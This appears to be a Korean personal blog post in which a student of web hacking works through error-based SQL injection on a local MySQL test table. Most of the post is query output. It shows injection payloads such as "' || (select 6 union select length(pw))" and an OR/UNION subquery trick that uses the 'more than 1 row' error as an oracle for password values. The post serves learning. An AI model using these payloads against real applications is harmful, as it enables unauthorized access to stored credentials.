error based sql injection
오늘도 error based sql injection을 공부하였다. 진짜 쿼리는 공부하면 공부할수록 더더더더더 신기해지고, 기묘해지는 것 같다.
대충은 알고 있었을 것 같기도 한데, union 문에서 같은 것을 출력할 시에는 합쳐진다. (?) 뭔소린지 잘 이해가 가지 않을 텐데 다음 쿼리를 보자
mysql> select 1 union select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select * from test where id='' || (select 6 union select length(pw));
+-------+--------+
| id | pw |
+-------+--------+
| admin | ad1234 |
| guest | gu1234 |
+-------+--------+
2 rows in set (0.00 sec)
mysql> select * from test where id='admin' and pw='' OR id='admin' and (length(pw)>0 or (select 1 union select pw));
+-------+--------+
| id | pw |
+-------+--------+
| admin | ad1234 |
+-------+--------+
1 row in set (0.00 sec)
이렇게하면 된다. 원래는 (select 1 union select pw) 부분에서 에러가 나야 정상이지만, 이미 서브쿼리 전의 쿼리에서 'ad1234'가 출력되었으므로, (select 1 union select pw)에서는 1 만 출력된다고 볼 수 있다.
그래서 (select 1 union select 2)라고 바꾸게 된다면 오류가 나는 것을 볼 수 있다.
mysql> select * from test where id='admin' and pw='' OR id='admin' and (length(pw)>0 or (select 1 union select 2));
ERROR 1242 (21000): Subquery returns more than 1 row
진짜 좋은 쿼리를 알게 되서 뿌듯하다. 웹해킹을 더 깊이 공부할 수록 더 복잡하고 신기한 쿼리들이 많이 나오게 되는 것 같다.
'Hacking > Web.' 카테고리의 다른 글
Blind SQL injection technique (0) | 2017.02.16 |
---|---|
XSS?? (0) | 2017.02.16 |
error based sql injection (0) | 2017.02.08 |
sqli tips (0) | 2017.02.08 |
sqli시 공백우회 (0) | 2017.02.02 |